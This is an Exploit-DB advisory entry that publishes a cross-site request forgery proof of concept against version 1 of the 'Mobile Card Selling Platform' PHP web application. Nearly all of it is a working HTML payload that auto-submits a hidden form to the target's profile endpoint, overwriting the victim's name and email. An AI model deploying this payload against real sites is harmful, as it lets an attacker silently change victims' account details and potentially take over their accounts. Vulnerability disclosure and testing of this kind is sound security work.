Mobile Card Selling Platform 1 - Cross-Site Request Forgery

EDB-ID: 44716
Author: L0RD
Published: 2018-05-23
CVE: N/A
Type: Webapps
Platform: PHP
Vulnerable App: N/A 

 # Date: 2018-05-23 
 # Exploit Author: L0RD 
 # Vendor Homepage: https://codecanyon.net/item/mcard-mobile-card-selling-platform/19307193?s_rank=15 
 # Version: 1 
 # Tested on: Kali linux 
  
 # POC : 
  
 <html> 
 <head> 
    <title>CSRF POC</title> 
 </head> 
 <body> 
     <form action="http://Target/card/profile" method="POST"> 
       <input type="hidden" name="fname" value="decode" /> 
       <input type="hidden" name="lname" value="test" /> 
       <input type="hidden" name="email" value="lord&#46;decode&#64;gmail&#46;com" /> 
     </form> 
  <script> 
    document.forms[0].submit(); 
  </script> 
 </body> 
 </html>

Source: www.exploit-db.com
Related Posts